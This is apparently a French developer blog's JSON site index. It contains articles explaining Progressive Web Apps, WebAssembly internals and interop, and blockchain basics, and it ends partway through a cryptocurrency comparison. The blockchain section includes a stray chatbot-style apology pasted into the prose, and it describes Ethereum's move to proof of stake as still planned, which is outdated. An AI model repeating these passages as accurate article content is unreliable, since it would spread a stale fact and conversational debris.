généralement rapides, elles peuvent ne pas être aussi performantes que les applications natives pour certaines tâches. Acceptation par les utilisateurs : Les utilisateurs peuvent ne pas être aussi familiers avec les PWA que avec les applications natives, ce qui peut affecter leur acceptation. Intégration de PWA sur React # En créant votre application avec CRA, react par défaut crée un worker mais le désactive, pour l\u0026rsquo;activer il suffit de remplacer serviceWorker.unregister() par serviceWorker.register().\nIl faut aussi modifier le public/manifest.json pour refléter l\u0026rsquo;application comme déjà expliqué plus haut sur l\u0026rsquo;article.\nPour personnaliser tout le contenu, il faut plutôt passer par un outil du style workbox.\nUne fois tout le développement terminé, et le déploiement est en préparation, il faut s\u0026rsquo;assurer que le fichier service-worker.js est prêt à être servit avec l\u0026rsquo;entête HTTP service-worker.\n","date":"17 janvier 2023","permalink":"/dev-posts/progressive-web-app/","section":"Dev-Posts","summary":"Des origines des Progressive Web Apps à leurs applications concrètes, en passant par leurs avantages en termes d\u0026rsquo;expérience utilisateur et d\u0026rsquo;interopérabilité, cet article offre une analyse technique complète des PWA, essentielle pour tout développeur cherchant à exploiter pleinement le potentiel du web moderne.","title":"Progressive Web Apps (PWA) : Une exploration technique détaillée"},{"content":"","date":"17 janvier 2023","permalink":"/tags/pwa/","section":"Tags","summary":"","title":"PWA"},{"content":"","date":"17 janvier 2023","permalink":"/tags/service-workers/","section":"Tags","summary":"","title":"Service Workers"},{"content":"","date":"17 janvier 2023","permalink":"/tags/typescript/","section":"Tags","summary":"","title":"TypeScript"},{"content":"","date":"17 janvier 2023","permalink":"/tags/web/","section":"Tags","summary":"","title":"Web"},{"content":"","date":"16 janvier 2023","permalink":"/tags/compilation/","section":"Tags","summary":"","title":"Compilation"},{"content":"","date":"16 janvier 2023","permalink":"/tags/wasm/","section":"Tags","summary":"","title":"Wasm"},{"content":"","date":"16 janvier 2023","permalink":"/tags/webassembly/","section":"Tags","summary":"","title":"WebAssembly"},{"content":" WebAssembly (Wasm) : Exploration technique approfondie # Introduction au WebAssembly # Définition # WebAssembly, souvent abrégé en Wasm, est un format binaire d\u0026rsquo;instruction pour une machine virtuelle basée sur une pile. Conçu comme une cible de compilation portable pour la publication sur le web et sur les serveurs, il offre des performances proches de celles du code natif.\nWebAssembly est né de la nécessité d\u0026rsquo;exécuter du code à des vitesses proches de celles du natif dans le navigateur. Avant Wasm, JavaScript était le seul langage qui pouvait être exécuté dans le navigateur. Cependant, malgré les optimisations, il y a toujours une limite à la vitesse d\u0026rsquo;exécution de JavaScript.\nExemple : Pour illustrer la différence de performance, considérons une opération mathématique intensive comme la multiplication de matrices. En JavaScript, cette opération peut être 10 à 20 fois plus lente que la même opération en C ou C++ compilé en Wasm.\nfonctionnement du wasm Plus performant, mais pourquoi? # La performance de Wasm provient de plusieurs facteurs:\nFormat binaire : Contrairement à JavaScript, qui est interprété, Wasm est un format binaire, ce qui signifie qu\u0026rsquo;il est plus proche du code machine et nécessite moins de temps pour l\u0026rsquo;analyse et la compilation. Typage statique : Wasm est typé statiquement, ce qui permet des optimisations plus efficaces lors de la compilation. Mémoire linéaire : Wasm utilise une mémoire linéaire, ce qui permet un accès rapide et prévisible aux données. Exemple : Dans une opération de tri d\u0026rsquo;un grand tableau, Wasm pourrait surpasser JavaScript en termes de temps d\u0026rsquo;exécution grâce à ces optimisations.\nCas d\u0026rsquo;utilisation # Jeux : Les jeux nécessitent souvent des performances élevées et une utilisation intensive de la CPU. Wasm permet d\u0026rsquo;exécuter des jeux complexes dans le navigateur à des vitesses proches de celles des applications natives. Par exemple : Unity, l\u0026rsquo;un des moteurs de jeu les plus populaires, offre la possibilité d\u0026rsquo;exporter des jeux directement en WebAssembly. Cela permet aux développeurs de créer des jeux 3D complexes qui peuvent être joués dans le navigateur sans nécessiter de plugins supplémentaires. Unity Traitement d\u0026rsquo;image et vidéo : Les opérations comme la manipulation d\u0026rsquo;image ou la compression vidéo peuvent être exécutées plus rapidement avec Wasm. Par exemple : Squoosh est une application web développée par Google qui permet de compresser des images en utilisant différentes codecs et techniques. Elle utilise WebAssembly pour exécuter des codecs d\u0026rsquo;image tels que OptiPNG et MozJPEG directement dans le navigateur, offrant ainsi des performances rapides et une utilisation minimale du serveur. Squoosh Simulation et modélisation : Des domaines comme la physique ou la biologie qui nécessitent des simulations complexes bénéficient des performances de Wasm. Par exemple : Emscripten, un outil qui compile C et C++ en WebAssembly, a été utilisé pour porter des applications scientifiques telles que les solveurs d\u0026rsquo;équations différentielles ou les simulateurs moléculaires au navigateur. Cela permet aux chercheurs et aux étudiants d\u0026rsquo;accéder à des outils puissants directement depuis leur navigateur web. Emscripten Transcodage audio et vidéo : Convertir des formats audio et vidéo en temps réel est un autre domaine où Wasm excelle. Par exemple : FFMpeg, un outil populaire de traitement audio et vidéo, a été compilé en WebAssembly pour être utilisé directement dans le navigateur. Cela permet aux utilisateurs de convertir des formats audio et vidéo sans avoir à télécharger ou installer de logiciel supplémentaire. FFMpeg WebAssembly peut-il remplacer les frameworks modernes? # Wasm n\u0026rsquo;est pas conçu pour remplacer JavaScript ou les frameworks modernes, mais plutôt pour travailler avec eux. Par exemple, un framework comme React pourrait utiliser Wasm pour certaines parties intensives en calcul, tout en conservant JavaScript pour la logique de l\u0026rsquo;interface utilisateur.\nCependant, avec l\u0026rsquo;émergence de frameworks écrits spécifiquement pour Wasm, comme Blazor (en C#), il est possible que nous voyions une adoption plus large de Wasm pour le développement complet d\u0026rsquo;applications à l\u0026rsquo;avenir.\nBlazor Limitations et défis # Bien que Wasm offre de nombreux avantages, il présente également des défis. L\u0026rsquo;accès direct au DOM est actuellement limité, ce qui signifie que pour manipuler le DOM, Wasm doit passer par JavaScript. De plus, la gestion de la mémoire est manuelle, comme en C et C++, ce qui peut entraîner des fuites de mémoire si elle n\u0026rsquo;est pas gérée correctement, et ainsi introduire les vulnérabilités classiques sur les débordements de mémoire (BOF ou ROP).\nStructure de WebAssembly # WebAssembly est structuré autour de plusieurs concepts clés :\nModule : Un module Wasm est une unité binaire qui contient une collection de fonctions, de tables, de mémoires et de variables globales. Chaque module a une série d\u0026rsquo;importations et d\u0026rsquo;exportations, permettant l\u0026rsquo;interaction avec d\u0026rsquo;autres modules ou avec l\u0026rsquo;hôte (par exemple, JavaScript). Mémoire : WebAssembly utilise une mémoire linéaire, qui est un tableau d\u0026rsquo;octets adressable. Cette mémoire est partagée entre Wasm et l\u0026rsquo;hôte, permettant une interaction rapide des données. La mémoire est segmentée en pages de 64KiB. Table : Les tables sont des structures de données qui stockent des références, généralement des pointeurs vers des fonctions. Elles sont utilisées pour implémenter des choses comme les tables virtuelles et les fermetures en Wasm. Fonctions : Les fonctions en Wasm sont typées avec une signature, définissant les types d\u0026rsquo;entrée et de sortie. Elles opèrent sur une pile, avec un ensemble d\u0026rsquo;instructions pour manipuler cette pile et la mémoire linéaire. Exemple : Un module Wasm simple qui exporte une fonction d\u0026rsquo;addition pourrait ressembler à ceci en pseudo-code :\n(module (func $add (param $a i32) (param $b i32) (result i32) get_local $a get_local $b i32.add) (export \u0026#34;add\u0026#34; (func $add)) ) Compilation et exécution # Étapes d\u0026rsquo;éxecution Wasm # Lorsque WebAssembly est chargé dans un navigateur, plusieurs étapes se produisent :\nDécodage : Le bytecode Wasm est décodé en une représentation intermédiaire. Étant donné que Wasm est un format binaire, cette étape est nettement plus rapide que l\u0026rsquo;analyse syntaxique du JavaScript. Validation : Le bytecode est validé pour s\u0026rsquo;assurer qu\u0026rsquo;il est bien formé et sécurisé. Cela garantit que le bytecode ne peut pas effectuer d\u0026rsquo;opérations non sécurisées, comme accéder à la mémoire en dehors de sa plage allouée. Compilation et optimisation : Les navigateurs utilisent des techniques JIT pour compiler le bytecode en code machine. Des optimisations sont appliquées pour améliorer les performances, telles que l\u0026rsquo;élimination des redondances, l\u0026rsquo;inlining (intégration du code d\u0026rsquo;une fonction appelée directement à l\u0026rsquo;endroit de l\u0026rsquo;appel) et d\u0026rsquo;autres transformations basées sur l\u0026rsquo;analyse du flux de contrôle et des données. Exécution : Une fois compilé, le code est prêt à être exécuté. Le code Wasm s\u0026rsquo;exécute dans une sandbox pour garantir la sécurité. En quoi c\u0026rsquo;est plus rapide ? # Lorsque nous comparons la compilation et l\u0026rsquo;exécution de WebAssembly à celle de JavaScript, plusieurs facteurs font de WebAssembly une option plus rapide pour certaines opérations.\nDécodage vs Analyse syntaxique : WebAssembly : Le format binaire de Wasm est conçu pour être décodé rapidement. Le décodage est l\u0026rsquo;action de transformer le bytecode en une représentation intermédiaire que la machine peut comprendre. Étant donné que Wasm est déjà un format bas niveau, cette étape est extrêmement rapide. JavaScript : L\u0026rsquo;analyse syntaxique de JavaScript est une étape coûteuse. Le code source JS doit être analysé et transformé en une représentation intermédiaire avant d\u0026rsquo;être compilé. Cette analyse peut être lente, en particulier pour de grands scripts. Optimisation : WebAssembly : Les optimisations pour Wasm sont plus prévisibles. Étant donné que Wasm est typé statiquement, le compilateur JIT peut appliquer des optimisations sans avoir à faire autant d\u0026rsquo;hypothèses sur le type de données, ce qui réduit le besoin de désoptimisations (où le compilateur doit annuler une optimisation précédente). JavaScript : Les moteurs JS modernes utilisent des techniques JIT sophistiquées pour optimiser le code à la volée. Cependant, en raison de la nature dynamique de JavaScript, ces optimisations sont souvent basées sur des heuristiques et des suppositions. Si une supposition s\u0026rsquo;avère fausse lors de l\u0026rsquo;exécution (par exemple, un changement de type de variable), le moteur doit désoptimiser, ce qui peut entraîner des ralentissements. Exécution : WebAssembly : Wasm opère sur une mémoire linéaire, ce qui signifie que l\u0026rsquo;accès à la mémoire est souvent plus rapide et plus prévisible. De plus, comme Wasm est un langage bas niveau, il a moins d\u0026rsquo;abstractions, ce qui peut conduire à une exécution plus rapide pour certaines opérations. JavaScript : Bien que les moteurs JS soient hautement optimisés, l\u0026rsquo;exécution de JavaScript peut être ralentie par des facteurs tels que la gestion de la mémoire dynamique, les fermetures et les chaînes de prototypes. Sécurité et sandboxing : WebAssembly : Wasm est conçu pour s\u0026rsquo;exécuter dans une sandbox, garantissant la sécurité. Cela signifie que, bien qu\u0026rsquo;il soit rapide, il ne compromet pas la sécurité de l\u0026rsquo;hôte. JavaScript : JS s\u0026rsquo;exécute également dans une sandbox pour des raisons de sécurité. Cependant, en raison de sa complexité et de sa flexibilité, il y a eu des cas où des vulnérabilités ont été exploitées. Comme on dit souvent, une image vaut mille mots : Wasm vs JavaScript Interopérabilité avec JavaScript # L\u0026rsquo;interopérabilité entre WebAssembly et JavaScript est un élément essentiel de l\u0026rsquo;écosystème Web, car elle permet aux développeurs de tirer parti des avantages de chaque technologie. Ceci peut se jouer sur différents points :\nImportation et exportation de fonctions # Depuis WebAssembly : Un module Wasm peut déclarer des fonctions qu\u0026rsquo;il souhaite importer. Ces fonctions peuvent être fournies par l\u0026rsquo;environnement hôte (par exemple, le navigateur) ou par JavaScript. Lorsque le module Wasm est instancié via l\u0026rsquo;API WebAssembly de JavaScript, ces fonctions importées doivent être fournies. Vers JavaScript : De même, un module Wasm peut exporter des fonctions pour qu\u0026rsquo;elles soient utilisées par JavaScript. Une fois le module instancié, ces fonctions exportées sont accessibles comme des méthodes normales en JavaScript. Transfert de données # Mémoire : WebAssembly utilise une mémoire linéaire, qui est essentiellement un grand tableau d\u0026rsquo;octets. Cette mémoire est accessible depuis JavaScript comme un WebAssembly.Memory object, qui expose un ArrayBuffer. Cela permet à JavaScript de lire et d\u0026rsquo;écrire directement dans la mémoire de Wasm. Pour transférer des structures de données plus complexes, comme des chaînes ou des tableaux, des conventions et des fonctions d\u0026rsquo;aide sont souvent nécessaires pour sérialiser et désérialiser les données. Table : Les tables Wasm, généralement utilisées pour stocker des références à des fonctions, peuvent également être accessibles depuis JavaScript. Cela permet des scénarios tels que le passage de callbacks ou la modification dynamique des fonctions appelées par Wasm. Appels synchrones et asynchrones # Synchrones : Les appels entre JavaScript et Wasm sont généralement synchrones. C\u0026rsquo;est-à-dire que lorsque vous appelez une fonction Wasm depuis JavaScript, elle s\u0026rsquo;exécute immédiatement et ne retourne que lorsque l\u0026rsquo;exécution est terminée. Asynchrones : Bien que l\u0026rsquo;interaction directe soit synchronisée, des modèles asynchrones peuvent être construits en utilisant des promesses et des Web Workers en JavaScript. Par exemple, un module Wasm qui effectue un traitement intensif pourrait être exécuté dans un Web Worker pour éviter de bloquer le thread principal. Gestion des exceptions # WebAssembly ne supporte pas nativement les exceptions de la même manière que JavaScript. Si une erreur se produit dans le code Wasm, elle ne sera pas automatiquement propagée à JavaScript sous forme d\u0026rsquo;exception. Cependant, des conventions peuvent être mises en place pour signaler les erreurs, par exemple en utilisant des codes de retour spécifiques. Des propositions sont en cours pour ajouter un support natif des exceptions à WebAssembly, ce qui améliorera l\u0026rsquo;interopérabilité dans ce domaine.\nLangages supportés # La capacité de compiler vers Wasm s\u0026rsquo;étend à plusieurs langages :\nC/C++ : Emscripten est l\u0026rsquo;outil le plus populaire pour compiler du C/C++ en Wasm. Il fournit une émulation complète de certaines parties de la libc, ainsi qu\u0026rsquo;une intégration avec WebGL et WebAudio pour les applications graphiques et audio. Rust : Rust a un support intégré pour Wasm. Le compilateur Rust, rustc, peut cibler Wasm directement, et des outils tels que wasm-bindgen permettent une interopérabilité facile avec JavaScript. AssemblyScript : C\u0026rsquo;est essentiellement TypeScript avec des types stricts, compilé en Wasm. Il offre une syntaxe familière pour les développeurs JavaScript tout en produisant du bytecode Wasm optimisé. ","date":"16 janvier 2023","permalink":"/dev-posts/web-assembly/","section":"Dev-Posts","summary":"De la genèse de WebAssembly à ses applications pratiques, en passant par ses avantages en termes de performance et son interopérabilité avec JavaScript, cet article offre une analyse technique complète de Wasm, essentielle pour tout développeur ou chercheur cherchant à exploiter pleinement le potentiel du web moderne.","title":"WebAssembly (Wasm) : Exploration Technique Approfondie"},{"content":"","date":"15 janvier 2023","permalink":"/tags/bitcoin/","section":"Tags","summary":"","title":"Bitcoin"},{"content":"","date":"15 janvier 2023","permalink":"/tags/blockchain/","section":"Tags","summary":"","title":"Blockchain"},{"content":" Introduction aux blockchains # La blockchain, ou chaîne de blocs, est une technologie de stockage et de transmission d\u0026rsquo;informations sans organe central. Elle est constituée de blocs, chacun contenant un ensemble de transactions. Ces blocs sont liés de manière chronologique et sécurisée grâce à la cryptographie. L\u0026rsquo;idée de la blockchain a été conceptualisée pour la première fois en 2008 par une entité pseudonyme, Satoshi Nakamoto, avec la publication de la white papper du Bitcoin. Depuis lors, elle a évolué pour soutenir une multitude d\u0026rsquo;applications au-delà des cryptomonnaies.\nLa blockchain offre une transparence inégalée. Chaque transaction est enregistrée de manière immuable, ce qui signifie qu\u0026rsquo;une fois qu\u0026rsquo;une transaction est ajoutée, elle ne peut être modifiée ou supprimée. De plus, la décentralisation garantit qu\u0026rsquo;aucune entité unique ne contrôle la blockchain, offrant une résistance à la censure. Elle élimine également le besoin d\u0026rsquo;intermédiaires, réduisant les coûts et les délais de transaction.\nComment fonctionne la blockchain ? # Les blocs et le chaînage : # Chaque bloc de la blockchain contient un ensemble de transactions, une empreinte du bloc précédent (via un \u0026ldquo;hash\u0026rdquo;), et un numéro de séquence. Lorsqu\u0026rsquo;un bloc est complété, un nouveau bloc est généré. Les blocs sont liés de manière linéaire, formant une chaîne. Cette structure garantit que les données ne peuvent être modifiées rétroactivement sans altérer tous les blocs suivants, offrant une sécurité robuste.\nChaque bloc de la blockchain est une structure de données qui contient :\nL\u0026rsquo;entête du bloc :\nHash précédent : Il s\u0026rsquo;agit de l\u0026rsquo;empreinte cryptographique du bloc précédent. Cette empreinte est produite en utilisant une fonction de hachage, généralement SHA-256 pour Bitcoin, qui prend en entrée les informations du bloc précédent et produit une sortie fixe de taille 256 bits. Timestamp : La date et l\u0026rsquo;heure à laquelle le bloc a été créé. Nonce : Un nombre arbitraire utilisé une seule fois. Dans le contexte du minage, le nonce est ajusté pour trouver un hash qui satisfait les exigences du réseau (par exemple, un certain nombre de zéros au début du hash). Root du Merkle Tree : Le Merkle Tree est une structure de données qui résume toutes les transactions du bloc. Le root, ou racine, est un hash qui représente toutes les transactions du bloc. Si une seule transaction change, le root du Merkle Tree change également. Le corps du bloc :\nListe des transactions : Chaque transaction contient des informations sur l\u0026rsquo;expéditeur, le destinataire, le montant, ainsi que des signatures numériques pour vérifier l\u0026rsquo;authenticité. Lorsqu\u0026rsquo;un mineur réussit à créer un bloc valide (c\u0026rsquo;est-à-dire qu\u0026rsquo;il trouve un hash qui répond aux exigences du réseau), ce bloc est ajouté à la blockchain. Le processus de recherche de ce hash valide est ce qu\u0026rsquo;on appelle la \u0026ldquo;preuve de travail\u0026rdquo; (Proof of Work, PoW). C\u0026rsquo;est un processus coûteux en termes de temps et d\u0026rsquo;énergie, ce qui rend la falsification de la blockchain extrêmement difficile.\nLa nature séquentielle et liée des blocs signifie que pour modifier une transaction dans un bloc, un attaquant devrait recalculer le hash de ce bloc ainsi que de tous les blocs suivants. Étant donné la puissance de calcul du réseau, cela est pratiquement impossible.\nDe plus, la décentralisation de la blockchain signifie qu\u0026rsquo;il existe de nombreuses copies de la blockchain sur différents nœuds du réseau. Pour réussir une attaque, il ne suffit pas de modifier une seule copie de la blockchain ; il faudrait obtenir un consensus de plus de 50% du réseau, ce qui est extrêmement coûteux et difficile.\nLes nœuds : # Les nœuds sont des ordinateurs qui participent au réseau blockchain. Chaque nœud détient une copie de la blockchain, garantissant sa disponibilité et sa résilience. La décentralisation signifie qu\u0026rsquo;aucun nœud ou groupe de nœuds ne détient l\u0026rsquo;autorité sur le réseau. Cela rend la blockchain résistante à la censure et aux attaques.\nAu final, un \u0026ldquo;node\u0026rdquo; (nœud en français) dans le contexte de la blockchain est un participant actif du réseau. C\u0026rsquo;est un ordinateur ou un serveur qui possède une copie complète ou partielle de la blockchain et qui suit les règles du protocole de la cryptomonnaie concernée.\nFonctions principales d\u0026rsquo;un nœud :\nValidation : Les nœuds valident les transactions et les blocs selon les règles du protocole. Si une transaction ou un bloc ne respecte pas ces règles, il est rejeté. Transmission : Les nœuds transmettent les transactions et les blocs valides à d\u0026rsquo;autres nœuds, assurant ainsi la propagation des informations à travers le réseau. Conservation : Les nœuds conservent une copie de la blockchain, garantissant sa disponibilité et sa résilience. Types de nœuds :\nNœud complet (Full Node) : C\u0026rsquo;est un nœud qui détient une copie complète de la blockchain. Il valide toutes les transactions et les blocs, et est considéré comme le type de nœud le plus sécurisé. Les nœuds complets jouent un rôle crucial dans la décentralisation et la sécurité du réseau. Nœud léger (Light Node ou SPV, Simplified Payment Verification) : Il ne détient qu\u0026rsquo;une partie de la blockchain, généralement seulement les en-têtes des blocs. Il s\u0026rsquo;appuie sur les nœuds complets pour obtenir et valider des informations spécifiques. Ils sont moins gourmands en ressources et sont souvent utilisés dans des applications mobiles. Nœuds de minage (Mining Nodes) : Ce sont des nœuds qui participent activement au processus de création de nouveaux blocs, appelé minage. Ils comprennent généralement des nœuds complets associés à du matériel de minage. En résumé, un nœud est un participant essentiel du réseau blockchain qui valide, transmet et stocke les informations. La santé et la sécurité du réseau dépendent en grande partie du nombre et de la diversité de ses nœuds.\nLa cryptographie dans la blockchain : # La blockchain utilise la cryptographie pour assurer la sécurité des données. Chaque transaction est signée numériquement par l\u0026rsquo;expéditeur, garantissant l\u0026rsquo;authenticité. Les empreintes cryptographiques, ou \u0026ldquo;hashes\u0026rdquo;, sont utilisées pour lier les blocs entre eux. Si une seule transaction dans un bloc est modifiée, le hash du bloc change, alertant le réseau de la modification.\nSignature numérique : # Chaque participant du réseau possède une paire de clés : une clé publique, qui est partagée avec tout le monde, et une clé privée, qui reste secrète. Lorsqu\u0026rsquo;une transaction est créée, l\u0026rsquo;expéditeur utilise sa clé privée pour signer la transaction. Cette signature est une preuve que la transaction provient bien de l\u0026rsquo;expéditeur et qu\u0026rsquo;elle n\u0026rsquo;a pas été altérée en cours de route. Les autres nœuds du réseau utilisent la clé publique de l\u0026rsquo;expéditeur pour vérifier la validité de cette signature. Si la signature est valide, cela signifie que la transaction est authentique. N.B : Lors de la création d\u0026rsquo;un wallet par exemple avec metamask, deux clés sont directements crées :\nPrivate Key : qui est une chaîne secrète qui permet au détenteur de signer les transactions et de prouver la propriété des fonds. (c\u0026rsquo;est la clé secrète qui permet d\u0026rsquo;avoir accès à son wallet par exemple et vérifier l\u0026rsquo;authenticité des personnes) Public key : qui sert principalement d\u0026rsquo;adresse ou d\u0026rsquo;identifiant sur la blockchain. C\u0026rsquo;est les mêmes utilisées dans la partie de signature. Hashing : # Le hachage est le processus de conversion d\u0026rsquo;une entrée (quelle que soit sa taille) en une sortie fixe de taille déterminée, généralement en utilisant une fonction de hachage comme SHA-256 (utilisée dans Bitcoin). Chaque bloc contient le hash du bloc précédent, créant ainsi un lien entre eux. C\u0026rsquo;est ce qui forme la \u0026ldquo;chaîne\u0026rdquo; dans la blockchain. Si une transaction dans un bloc est modifiée, même légèrement, le hash du bloc change complètement. C\u0026rsquo;est une propriété des fonctions de hachage cryptographiques : une petite modification de l\u0026rsquo;entrée produit un changement radical de la sortie. La validation des transactions : # Lorsqu\u0026rsquo;une transaction est initiée sur une blockchain, elle ne devient pas immédiatement une partie permanente de celle-ci. Elle doit d\u0026rsquo;abord subir un processus de validation rigoureux. Voici comment cela fonctionne étape par étape :\nCréation de la transaction :\nLorsqu\u0026rsquo;un utilisateur souhaite effectuer une transaction (par exemple, envoyer des cryptomonnaies à une autre adresse), il crée une transaction en spécifiant les détails pertinents tels que l\u0026rsquo;adresse du destinataire, le montant et les frais de transaction. Cette transaction est ensuite signée numériquement à l\u0026rsquo;aide de la clé privée de l\u0026rsquo;expéditeur. Cette signature garantit que la transaction a bien été initiée par le propriétaire de l\u0026rsquo;adresse et qu\u0026rsquo;elle n\u0026rsquo;a pas été altérée en transit. Propagation de la transaction :\nLa transaction signée est diffusée sur le réseau blockchain, où elle est reçue par les nœuds. Ces nœuds vérifient d\u0026rsquo;abord la validité de la transaction (signature, solde suffisant de l\u0026rsquo;expéditeur, etc.) avant de la transmettre à d\u0026rsquo;autres nœuds. Processus de minage :\nLes mineurs sont des participants spéciaux du réseau équipés de matériel de calcul spécialisé. Leur rôle principal est de regrouper les transactions valides en blocs et de sécuriser ces blocs en résolvant des énigmes cryptographiques complexes. Cette \u0026ldquo;énigme\u0026rdquo; est en réalité un problème mathématique qui nécessite une grande puissance de calcul pour être résolu. Le premier mineur à résoudre le problème annonce la solution aux autres nœuds du réseau. Validation du bloc :\nLorsqu\u0026rsquo;un mineur trouve une solution, il crée un bloc contenant plusieurs transactions et la soumet au réseau pour validation. Les autres nœuds vérifient la solution proposée (ce qui est beaucoup plus rapide que de trouver la solution en premier lieu) et, si elle est correcte, le bloc est considéré comme valide. Ajout à la blockchain :\nUne fois le bloc validé, il est ajouté à la blockchain, ce qui rend les transactions qu\u0026rsquo;il contient irréversibles. L\u0026rsquo;ajout d\u0026rsquo;un bloc à la blockchain est souvent accompagné d\u0026rsquo;une récompense pour le mineur, qui reçoit généralement une certaine quantité de cryptomonnaie pour son travail. Consensus :\nIl est important de noter que pour qu\u0026rsquo;un bloc soit ajouté à la blockchain, un consensus doit être atteint parmi les nœuds du réseau. Ce consensus garantit que même si certains participants agissent de manière malveillante ou si des erreurs se produisent, la majorité honnête du réseau garantira l\u0026rsquo;intégrité et la sécurité de la blockchain. L\u0026rsquo;importance du minage dans la blockchain # Qu\u0026rsquo;est-ce que le minage ? : # Le minage est le processus par lequel les transactions sont vérifiées et ajoutées à la blockchain. Les mineurs utilisent une puissance de calcul pour résoudre des énigmes cryptographiques complexes. En récompense de leur travail, ils reçoivent des cryptomonnaies.\nPourquoi miner ? L\u0026rsquo;incitation monétaire et la preuve de travail : # Miner est essentiel pour sécuriser le réseau. La preuve de travail est un mécanisme qui nécessite un effort considérable pour résoudre des énigmes cryptographiques. Cela garantit que les transactions sont validées de manière équitable. Les mineurs sont incités à participer grâce à des récompenses en cryptomonnaie.\nLa puissance de calcul et la compétition entre mineurs : # La puissance de calcul fait référence à la capacité des mineurs à résoudre des énigmes cryptographiques. Plus ils ont de puissance, plus ils ont de chances de résoudre l\u0026rsquo;énigme en premier et de recevoir la récompense. Cela crée une compétition saine, garantissant la sécurité du réseau.\nLa récompense du bloc et la création de nouvelles pièces : # Lorsqu\u0026rsquo;un mineur résout une énigme, il reçoit une récompense sous forme de nouvelles pièces. C\u0026rsquo;est le mécanisme principal par lequel de nouvelles pièces sont introduites dans le système. Au fil du temps, la récompense du bloc diminue, un événement connu sous le nom de \u0026ldquo;halving\u0026rdquo;.\nLes applications décentralisées (dApps) # Définition et avantages des dApps : # Les dApps, ou applications décentralisées, sont des applications qui fonctionnent sur un réseau blockchain décentralisé. Contrairement aux applications traditionnelles, elles ne sont pas contrôlées par une entité unique. Les dApps sont transparentes, immuables et résilientes aux pannes. Elles peuvent fonctionner sans temps d\u0026rsquo;arrêt et sont résistantes à la censure. Vous avez absolument raison, et je m\u0026rsquo;excuse pour cette omission. Les dApps, bien que décentralisées dans leur logique de back-end grâce à la blockchain, ont souvent une interface utilisateur (front-end) qui est hébergée de manière centralisée, tout comme n\u0026rsquo;importe quel autre site web ou application. Cette interface est généralement construite avec des technologies web standard comme JavaScript, HTML et CSS. Ainsi, bien que le back est décentralisé, le front reste centralisé et donc vulnérable à des attaques type DDoS, il est donc important pour les applications les plus importantes de respecter les best practices en terme cyber pour se protéger contre les attaques de disponibilité.\nComment les dApps fonctionnent-ils sur la blockchain ? : # Les dApps interagissent avec la blockchain à l\u0026rsquo;aide de contrats intelligents (smart contracts). Ces contrats sont des programmes autonomes qui exécutent des actions spécifiques lorsque certaines conditions sont remplies. Par exemple, un dApp pourrait automatiquement transférer des fonds d\u0026rsquo;un compte à un autre lorsque certaines conditions sont remplies.\nUn contrat intelligent est un programme auto-exécutable dont les instructions sont écrites dans le code et stockées sur la blockchain. Il est déclenché par des événements ou des actions spécifiques, et une fois déployé, il ne peut pas être modifié.\nLes contrats intelligents sont écrits dans des langages de programmation spécifiques à la blockchain, tels que Solidity pour Ethereum. Une fois écrits, ils sont compilés et déployés sur la blockchain. Une fois déployé, un contrat intelligent ne peut pas être modifié. Cela garantit que les règles définies lors de la création du contrat seront toujours respectées.Ceci reste très nuancé, parce qu\u0026rsquo;il y a toujours moyen de faire :\nDes contrats évolutifs (Upgradable Contracts) : Certains contrats intelligents sont conçus dès le départ pour être évolutifs. Cela signifie qu\u0026rsquo;ils ont une architecture qui permet de remplacer ou de modifier certaines parties de leur logique tout en conservant l\u0026rsquo;état ou les données du contrat. Cela est généralement réalisé en utilisant des contrats proxy ou des contrats de stockage de données séparés. Ex. Utilisation d\u0026rsquo;OpenZeppelin. Il y a cependant des contraintes à ce genre de contrats, par exemple : Impossibilité de changer l\u0026rsquo;ordre/type des variables déclarées ou supprimer une variable existante. Fonctions de gestion (Admin Functions) : Un contrat peut inclure des fonctions administratives qui permettent à certaines adresses (généralement les propriétaires ou les administrateurs du contrat) de modifier des variables ou des paramètres spécifiques. Cela peut inclure des choses comme changer les taux de frais, ajouter ou retirer des membres autorisés, etc. Il faut aussi garder en tête qu\u0026rsquo;un contrat peut aussi être souvent désigné à bloquer toute transaction en cas de découverte de faille pour permettre une migration vers un contrat où la faille est corrigée. On traitera des vulnérabilités classiques et failles dans les smart contrats dans un article plus tard. Exemples d\u0026rsquo;utilisation des dApps dans la vie réelle : # Les dApps ont une multitude d\u0026rsquo;applications dans la vie réelle. Ils peuvent être utilisés pour créer des systèmes de vote décentralisés, des plateformes de financement participatif, des marchés décentralisés, et bien plus encore. Un exemple célèbre est CryptoKitties, un jeu basé sur la blockchain où les joueurs peuvent acheter, vendre et élever des chats virtuels.\nLa diversité des cryptomonnaies # Bitcoin vs Ethereum : les différences fondamentales : # Bitcoin, la première cryptomonnaie, a été conçu comme un système de paiement décentralisé. Son principal objectif est de permettre des transactions peer-to-peer sans intermédiaire. Ethereum, en revanche, a été conçu comme une plateforme pour exécuter des contrats intelligents et créer des dApps. Bien qu\u0026rsquo;il possède sa propre cryptomonnaie, l\u0026rsquo;Ether, son objectif principal est de servir de plateforme pour d\u0026rsquo;autres applications.\nPourquoi existe-t-il différentes cryptomonnaies ? : # Il existe des milliers de cryptomonnaies, chacune avec ses propres caractéristiques et objectifs. Certaines, comme Bitcoin, sont conçues pour être des monnaies numériques. D\u0026rsquo;autres, comme Ethereum, sont conçues pour soutenir des applications décentralisées. Il y a aussi des cryptomonnaies axées sur la confidentialité, comme Monero, qui offrent des transactions entièrement anonymes.\nBitcoin (BTC) :\nObjectif principal : Bitcoin a été la première cryptomonnaie, conçue comme une monnaie numérique décentralisée sans besoin d\u0026rsquo;intermédiaires comme les banques. Technologie : Utilise la preuve de travail (Proof of Work) pour valider et ajouter des transactions à la blockchain. Particularités : En raison de sa première-mover advantage, Bitcoin est souvent considéré comme une \u0026ldquo;réserve de valeur\u0026rdquo; dans l\u0026rsquo;écosystème des cryptomonnaies, similaire à l\u0026rsquo;or dans le monde financier traditionnel. Ethereum (ETH) :\nObjectif principal : Conçu comme une plateforme pour exécuter des contrats intelligents et créer des applications décentralisées (dApps). Technologie : Tout comme Bitcoin, Ethereum a initialement utilisé la preuve de travail, mais il y a des plans pour passer à la preuve d\u0026rsquo;enjeu (Proof of Stake) avec Ethereum 2.0. Particularités : Ethereum a introduit le concept de contrats intelligents, permettant des opérations programmables complexes sur la blockchain. Il a également introduit le standard ERC-20, qui a facilité la création de nombreux nouveaux tokens et projets. Monero (XMR) :\nObjectif principal : Offrir des transactions privées et non traçables. Technologie : Utilise des signatures en anneau (Ring Signatures) et des adresses furtives (Stealth Addresses) pour masquer les détails des transactions. Particularités : Contrairement à Bitcoin, où les transactions sont transparentes et peuvent être tracées jusqu\u0026rsquo;à leur origine, Monero offre une 